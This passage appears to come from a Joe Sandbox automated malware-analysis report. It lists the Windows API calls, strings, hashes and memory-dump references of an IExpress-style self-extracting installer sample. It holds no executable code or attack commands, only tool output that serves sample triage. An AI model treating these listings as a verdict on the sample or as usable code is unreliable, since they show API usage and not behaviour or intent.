Part of subcall function 00007FF6FD2151F8: LockResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215277
Part of subcall function 00007FF6FD2151F8: memcpy_s.MSVCRT ref: 00007FF6FD215296
Part of subcall function 00007FF6FD2151F8: FreeResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD2152A5

LocalAlloc.KERNEL32(?,?,?,?,?,00007FF6FD213261), ref: 00007FF6FD214085
LocalFree.KERNEL32 ref: 00007FF6FD214108

Part of subcall function 00007FF6FD214F2C: LoadStringA.USER32 ref: 00007FF6FD214FBC
Part of subcall function 00007FF6FD214F2C: MessageBoxA.USER32 ref: 00007FF6FD214FFC

Part of subcall function 00007FF6FD217958: GetLastError.KERNEL32 ref: 00007FF6FD21795C

lstrcmpA.KERNEL32(?,?,?,?,?,00007FF6FD213261), ref: 00007FF6FD21412E
LocalFree.KERNEL32(?,?,?,?,?,00007FF6FD213261), ref: 00007FF6FD21418F

Part of subcall function 00007FF6FD217D28: FindResourceA.KERNEL32 ref: 00007FF6FD217D52
Part of subcall function 00007FF6FD217D28: LoadResource.KERNEL32 ref: 00007FF6FD217D69
Part of subcall function 00007FF6FD217D28: DialogBoxIndirectParamA.USER32 ref: 00007FF6FD217D9F
Part of subcall function 00007FF6FD217D28: FreeResource.KERNEL32 ref: 00007FF6FD217DB1

LocalFree.KERNEL32 ref: 00007FF6FD214168

Strings

<None>, xrefs: 00007FF6FD214127
LICENSE, xrefs: 00007FF6FD21406D, 00007FF6FD2140D0

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 1c43a6c209edff215d2b42a35ca82b93fc35595726ea4f293da311bf4292f90f
Instruction ID: 3071374a43778f3234a3f4ebcc92f8ff374517786043c61a5416568756b73424
Opcode Fuzzy Hash: 1c43a6c209edff215d2b42a35ca82b93fc35595726ea4f293da311bf4292f90f
Instruction Fuzzy Hash: CA310331A19616CAE7209B20EA5177A6A60EB89749F44C535DA2DC76D0FF7EF0058AC0

Function 00007FF6FD217984 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FD21625F), ref: 00007FF6FD2179BB
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FD21625F), ref: 00007FF6FD2179CA
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FD21625F), ref: 00007FF6FD217A1A
FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FD21625F), ref: 00007FF6FD217A4E
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FD21625F), ref: 00007FF6FD217A67

Strings

UPDFILE%lu, xrefs: 00007FF6FD217A2B

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Resource$Free$FindLoadLock
String ID: UPDFILE%lu
API String ID: 3629466761-2329316264
Opcode ID: 912f736fff6cc648edac57934596fe713f99585f0c6d65f4e9552fedd6e4e983
Instruction ID: 7ab261a833e17306512e920714a025f8c972c14ee33504a540a4b6e857c0699a
Opcode Fuzzy Hash: 912f736fff6cc648edac57934596fe713f99585f0c6d65f4e9552fedd6e4e983
Instruction Fuzzy Hash: A8315E32A08A41C6E7108B25A50017ABAA0FBC9B54F558235DB6EC33D5FF3EF504C6C0

Function 00007FF6FD2151F8 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215220
SizeofResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215231
FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215257
LoadResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215268
LockResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215277
memcpy_s.MSVCRT ref: 00007FF6FD215296
FreeResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD2152A5

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID:
API String ID: 3370778649-0
Opcode ID: 2722992ef715b720f40bc041322e554c29a54f2f23c26d5441508fe68943f667
Instruction ID: b78deef8c9c61cd74503338141bc24d4d85a6db4edf5f957bfef6a4a468d2da9
Opcode Fuzzy Hash: 2722992ef715b720f40bc041322e554c29a54f2f23c26d5441508fe68943f667
Instruction Fuzzy Hash: 0B111D31B09B4187E7145B62A60407DAAA0EB4EFC1F48D474DE2EC3794FF3EE4418680

Function 00007FF6FD212234 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00007FF6FD212261
WritePrivateProfileStringA.KERNEL32 ref: 00007FF6FD212290
_lopen.KERNEL32 ref: 00007FF6FD2122A4
_llseek.KERNEL32 ref: 00007FF6FD2122BF
_lclose.KERNEL32 ref: 00007FF6FD2122CF

Strings

wininit.ini, xrefs: 00007FF6FD212271

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 272abce5711e61987618d7fa9275a95ad876e249e85b0132ec51f4cc75ec81ca
Instruction ID: 4a1e9c4b4f93cd371ee1e6b5c07ded06af66314c8b125d5694a896128dc4e3c5
Opcode Fuzzy Hash: 272abce5711e61987618d7fa9275a95ad876e249e85b0132ec51f4cc75ec81ca
Instruction Fuzzy Hash: 5D113032604A8187E7108B25E5542AAB6A1FBCD715F85C131DB6EC3694FF3DE549CA80

Function 00007FF6FD21397E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF6FD2139CE
SetWindowTextA.USER32 ref: 00007FF6FD2139EF
SetDlgItemTextA.USER32 ref: 00007FF6FD213A0A
SetForegroundWindow.USER32 ref: 00007FF6FD213A19
EndDialog.USER32 ref: 00007FF6FD213A2C

Strings

124, xrefs: 00007FF6FD2139E5

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Window$Text$DesktopDialogForegroundItem
String ID: 124
API String ID: 761066910-372045425
Opcode ID: f21d8755046b2bff5672eb5e92626a0ccf9070bb66767417a7c329f8521aba4d
Instruction ID: 24afc74338f338982d22bc8100adda619fdcb78741f61e795a8cee7951d38b22
Opcode Fuzzy Hash: f21d8755046b2bff5672eb5e92626a0ccf9070bb66767417a7c329f8521aba4d
Instruction Fuzzy Hash: 10113070D08642D6FB142B61AA443B96A52FB8AB41F84D170CA2ED23D4FF7EB44987C0

Function 00007FF6FD214A54 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215220
Part of subcall function 00007FF6FD2151F8: SizeofResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215231
Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215257
Part of subcall function 00007FF6FD2151F8: LoadResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215268
Part of subcall function 00007FF6FD2151F8: LockResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215277
Part of subcall function 00007FF6FD2151F8: memcpy_s.MSVCRT ref: 00007FF6FD215296
Part of subcall function 00007FF6FD2151F8: FreeResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD2152A5

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF6FD2134BA), ref: 00007FF6FD214A7D
LocalFree.KERNEL32(?,?,?,?,00000000,00007FF6FD2134BA), ref: 00007FF6FD214B19

Part of subcall function 00007FF6FD214F2C: LoadStringA.USER32 ref: 00007FF6FD214FBC
Part of subcall function 00007FF6FD214F2C: MessageBoxA.USER32 ref: 00007FF6FD214FFC

Strings

FINISHMSG, xrefs: 00007FF6FD214A61, 00007FF6FD214AB4
<None>, xrefs: 00007FF6FD214ADD
@, xrefs: 00007FF6FD214AFF

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$@$FINISHMSG
API String ID: 3507850446-4126004490
Opcode ID: 1d4e6bd0a63b8b8b494048026c3f832f350be4f10dc00f629820bf4d9c538aed
Instruction ID: aaaab546ba099eb8c4903210af40bcd0e58eaf387ac6d06072b0b2a65819927e
Opcode Fuzzy Hash: 1d4e6bd0a63b8b8b494048026c3f832f350be4f10dc00f629820bf4d9c538aed
Instruction Fuzzy Hash: 6E119F72A0824287F7208B20A55077A76A0EB89789F44D135DF6DC6BC4FF3EE1058BC0

Function 00007FF6FD217C50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF6FD217CC8
LoadLibraryExA.KERNEL32 ref: 00007FF6FD217CE8
LoadLibraryA.KERNEL32 ref: 00007FF6FD217CFD

Strings

advpack.dll, xrefs: 00007FF6FD217CAB, 00007FF6FD217CF6
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6FD217C6E

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-726598030
Opcode ID: 49ff66dd0027909a7b800612d590b018d10ed512dde88fa856883505687205f1
Instruction ID: fe53a38b56a4982062a85bb0d2f6ee42f0b97a4cee2fa26bd6a30a5ad7a459ea
Opcode Fuzzy Hash: 49ff66dd0027909a7b800612d590b018d10ed512dde88fa856883505687205f1
Instruction Fuzzy Hash: A0113E31A18686D5EB618B24E5502F977A0FB99714F848231C76DC36D2FF2EE609C7C0

Function 00007FF6FD21146E Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6FD2114B5
GetDesktopWindow.USER32 ref: 00007FF6FD2114C7
LoadStringA.USER32 ref: 00007FF6FD2114F7
SetDlgItemTextA.USER32 ref: 00007FF6FD211510
MessageBeep.USER32 ref: 00007FF6FD21151F

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 779d4c80867048ee85b76de8b865dc8d6e9560f81da083dc2e25c0ec5bc041cf
Instruction ID: cb69e92f4ffe6f2378bf1f78a9d1bc4649536b80762d10a5db4c5ec55a68858a
Opcode Fuzzy Hash: 779d4c80867048ee85b76de8b865dc8d6e9560f81da083dc2e25c0ec5bc041cf
Instruction Fuzzy Hash: 2D116332A08A8596E7105B61B5443B9A760FB89B65F448231CB7EC73C5FF3DE14587C0

Function 00007FF6FD213D34 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 220windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF6FD213D7A
MessageBeep.USER32 ref: 00007FF6FD213FB0
MessageBoxA.USER32 ref: 00007FF6FD213FE9

Strings

124, xrefs: 00007FF6FD213FDA, 00007FF6FD21401B

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 124
API String ID: 2519184315-372045425
Opcode ID: cd403af55b8476f266db926376131480319a2a35561f0b0250f12cd9deded584
Instruction ID: f3451de15f7164c6b40fd653850f716be23bd5e70c5cedb6b60b81757f5bee29
Opcode Fuzzy Hash: cd403af55b8476f266db926376131480319a2a35561f0b0250f12cd9deded584
Instruction Fuzzy Hash: 6F919E72A1865386FB64AF15968067966A2BF44794F208135DB7ED32D0FE3FF84287C0

Function 00007FF6FD217B0F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF6FD217BBB
WriteFile.KERNEL32 ref: 00007FF6FD217BF2
CloseHandle.KERNEL32 ref: 00007FF6FD217C17

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6FD217B42

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-1955631000
Opcode ID: e045f108fcc8068e113ee9e0e4cf638292a1811dea5a3a985454c52ef67f7177
Instruction ID: 3c06a8285dafba079cc6586af1916eec6ca67097de206e0a4bbd95a7335541d6
Opcode Fuzzy Hash: e045f108fcc8068e113ee9e0e4cf638292a1811dea5a3a985454c52ef67f7177
Instruction Fuzzy Hash: 23315022608681C6EB518F10E5407AAB760FB89794F448235DB6D877D5EF7DE504C790

Function 00007FF6FD215E44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

#20.CABINET ref: 00007FF6FD215EBD
#21.CABINET ref: 00007FF6FD215EFC
#23.CABINET ref: 00007FF6FD215F36

Strings

*MEMCAB, xrefs: 00007FF6FD215ED6

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID:
String ID: *MEMCAB
API String ID: 0-3211172518
Opcode ID: 8f0ecc18e58d69be0ff920eef984cb1b5456fa5790288b24a30beba8d1cf7dc7
Instruction ID: c2ed2027e950fe136a45a662d119919058beb44172d0698b40f836aa7468d68f
Opcode Fuzzy Hash: 8f0ecc18e58d69be0ff920eef984cb1b5456fa5790288b24a30beba8d1cf7dc7
Instruction Fuzzy Hash: BA31E921A09A4285EB518B14E6443A973B4BB49790F9582B5DA7DC27E0FF3EF484C7C0

Function 00007FF6FD212308 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6FD212476), ref: 00007FF6FD212339
RegQueryInfoKeyA.ADVAPI32 ref: 00007FF6FD212383
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00000000,00007FF6FD212476), ref: 00007FF6FD2123A1

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00007FF6FD21232B

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CloseInfoOpenQuery
String ID: System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2142960691-1430103811
Opcode ID: ffb65070036c0e638a3fb9cad9fcb0c30fa5a0b7ad628ef0fdab3ccaafb5356a
Instruction ID: 97cad803f8f29730ff043baf025134b7c53be903b613d5d262bba1f89dd393de
Opcode Fuzzy Hash: ffb65070036c0e638a3fb9cad9fcb0c30fa5a0b7ad628ef0fdab3ccaafb5356a
Instruction Fuzzy Hash: 75111932618B8087E7108F29F44452AFBE4F7C9754B549228EB9982B68EF38D0548F40

Function 00007FF6FD2186F0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6FD218763
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6FD218782
RtlVirtualUnwind.KERNEL32 ref: 00007FF6FD2187CF
__raise_securityfailure.LIBCMT ref: 00007FF6FD2188B4

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 31029eafa361a8816cb3b7c2e50cea46018a43ad4d194b63bd7ab82f81b508e1
Instruction ID: 61fe444f5196c64f2c01229018644b198a17ec54a2b2c7a18cb244301aee5244
Opcode Fuzzy Hash: 31029eafa361a8816cb3b7c2e50cea46018a43ad4d194b63bd7ab82f81b508e1
Instruction Fuzzy Hash: 1C41C639A08B0281EB108B18F990369B364FB84784F608136DAADC27A4FF3EE555D7C0

Function 00007FF6FD21845E Relevance: 6.1, APIs: 4, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 00007FF6FD218495
_amsg_exit.MSVCRT ref: 00007FF6FD2184D0
Sleep.KERNEL32 ref: 00007FF6FD2184DF
_initterm.MSVCRT ref: 00007FF6FD218577
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6FD2185A4
exit.MSVCRT ref: 00007FF6FD218640
_cexit.MSVCRT ref: 00007FF6FD21864F

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CurrentImageInfoNonwritableSleepStartup_amsg_exit_cexit_inittermexit
String ID:
API String ID: 642454821-0
Opcode ID: 09076979b3e96fc5e14e933eaad3d45af6720b0af7fabc4f9cac535cb861094d
Instruction ID: a378257c1682d904783f6ed54b909e5b67f814f2a31de176103396020383b007
Opcode Fuzzy Hash: 09076979b3e96fc5e14e933eaad3d45af6720b0af7fabc4f9cac535cb861094d
Instruction Fuzzy Hash: C5315C3690C646A6E7108B24EA9037AA3A0FB44394F558435DB6DC32E1FF2FF55096C0

Function 00007FF6FD21874B Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6FD218763
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6FD218782
RtlVirtualUnwind.KERNEL32 ref: 00007FF6FD2187CF
__raise_securityfailure.LIBCMT ref: 00007FF6FD2188B4

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 4090816444ccd06f36d04890147d9874dc88da504e5caf5353b8954b97740e78
Instruction ID: f33f07dc21cde1c33e8728a7b18b700f6b95509ac633613671e798b054c52107
Opcode Fuzzy Hash: 4090816444ccd06f36d04890147d9874dc88da504e5caf5353b8954b97740e78
Instruction Fuzzy Hash: 4C31D879608B4182EB108B58F590369B364FB88744F648136DAADC37A4FF3EE549D7C0

Function 00007FF6FD217D28 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF6FD217D52
LoadResource.KERNEL32 ref: 00007FF6FD217D69
DialogBoxIndirectParamA.USER32 ref: 00007FF6FD217D9F
FreeResource.KERNEL32 ref: 00007FF6FD217DB1

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 59effaab94a793ca2fbdf558991555ed1e090edb450195feb7077b6de0fa885d
Instruction ID: cc11a3ce7e90a7a21670b6ae361cec1e86410a3c63ec30402b294077383dbde1
Opcode Fuzzy Hash: 59effaab94a793ca2fbdf558991555ed1e090edb450195feb7077b6de0fa885d
Instruction Fuzzy Hash: 55111231A08B45C6EB104B11B504279BA60FB89BE5F488634DF6D877D5EF3EE5408A80

